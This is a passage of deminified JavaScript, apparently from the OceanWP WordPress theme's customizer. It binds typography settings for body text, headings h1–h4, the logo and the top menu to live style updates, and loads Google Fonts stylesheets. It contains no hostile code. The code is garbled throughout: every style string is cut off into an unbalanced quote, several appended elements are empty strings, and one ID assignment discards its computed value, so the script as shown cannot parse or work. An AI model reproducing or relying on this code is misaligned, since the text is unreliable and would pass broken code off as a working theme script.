(dataAndEvents) { var $child = $(".customizer-typography-body-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-heading_h1-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-heading_h1-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h1_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h1-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-heading_h2-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-heading_h2-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h2_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h2-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-heading_h3-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-heading_h3-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h3_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h3-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-heading_h4-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-heading_h4-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("heading_h4_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-heading_h4-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-headings-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-headings-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("headings_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-headings-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-logo-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-logo-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_tablet_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-tablet-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_mobile_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-mobile-letter-spacing"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("logo_typography[text-transform]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-logo-text-transform"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_typography[font-family]", function ($swipe) { $swipe.bind(function (pair) { if (pair) { /** @type {string} */ var idfirst = (pair.trim().toLowerCase().replace(" ", "-"), "customizer-typography-top_menu-font-family"); var fontSize = pair.replace(" ", "%20"); fontSize = fontSize.replace(",", "%2C"); /** @type {string} */ fontSize = oceanwpTG.googleFontsUrl + "/css?family=" + pair + ":" + oceanwpTG.googleFontsWeight; if ($("#" + idfirst).length) { $("#" + idfirst).attr("href", fontSize); } else { $("head").append( '' ); } } var $child = $(".customizer-typography-top_menu-font-family"); if (pair) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_typography[font-weight]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-font-weight"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_typography[font-style]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-font-style"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_tablet_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-tablet-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_mobile_typography[font-size]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-mobile-font-size"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_typography[color]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-color"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_tablet_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-tablet-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_mobile_typography[line-height]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var $child = $(".customizer-typography-top_menu-mobile-line-height"); if (dataAndEvents) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("top_menu_typography[letter-spacing]", function ($swipe) { $swipe.bind(function (dataAndEvents) { var 